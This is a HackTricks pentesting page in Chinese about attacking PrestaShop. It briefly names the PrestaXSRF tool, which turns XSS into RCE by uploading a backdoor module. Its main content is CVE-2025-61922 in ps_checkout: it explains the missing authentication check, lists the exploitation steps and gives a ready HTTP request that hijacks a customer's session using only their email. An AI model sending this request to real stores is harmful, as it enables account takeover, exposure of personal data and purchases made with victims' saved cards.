PrestaShop
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
From XSS to RCE
- PrestaXSRF: PrestaShop 利用脚本,可将 XSS 提升为 RCE 或其他严重漏洞。 更多信息请查看 this post。它提供 对 PrestaShop Versions 8.X.X 和 1.7.X.X 的支持,并允许:
- (RCE) PSUploadModule(); - Upload a custom Module: 上传一个持久化的 Module(backdoor)到 PrestaShop。
ps_checkout ExpressCheckout silent login account takeover (CVE-2025-61922)
缺少对
ps_checkout模块< 5.0.5的身份验证,允许未认证的攻击者 通过提供邮箱切换会话到任意客户。
- 端点(未认证):
POST /module/ps_checkout/ExpressCheckout. - 流程:
ExpressCheckout.php接受攻击者的 JSON,仅检查orderID,构建ExpressCheckoutRequest并调用ExpressCheckoutAction::execute()。 - 认证漏洞: 在易受影响的版本中,当没有用户登录时,
ExpressCheckoutAction会调用CustomerAuthenticationAction::execute()。该方法仅执行customerExists(<payer_email>)和context->updateCustomer(new Customer($id)),所以 邮箱存在 == 登录(没有密码/令牌检查)。 - 攻击者可控的邮箱字段: JSON 负载中的
order.payer.email_address会被ExpressCheckoutRequest::getPayerEmail()读取。
利用步骤
- 收集任意已注册的客户邮箱(管理员账户是单独的,不受此流程影响)。
- 向该 controller 发送未认证的 POST,请求中包含
orderID以及受害者邮箱于order.payer.email_address。 - 即使端点返回
500,响应也会包含受害者客户上下文的 cookies(会话已被切换),从而可以访问 PII 或使用已保存的卡进行购买。
POST /module/ps_checkout/ExpressCheckout HTTP/1.1
Host: `<target>`
Content-Type: application/json
Content-Length: 72
{"orderID":"1","order":{"payer":{"email_address":"victim@example.com"}}}
参考资料
- CVE-2025-61922: Zero-Click Account Takeover on Prestashop (blog)
- GitHub Advisory GHSA-54hq-mf6h-48xh
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


